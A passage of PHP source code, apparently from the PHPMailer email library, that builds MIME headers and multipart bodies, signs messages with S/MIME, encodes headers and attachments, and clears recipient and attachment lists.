     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
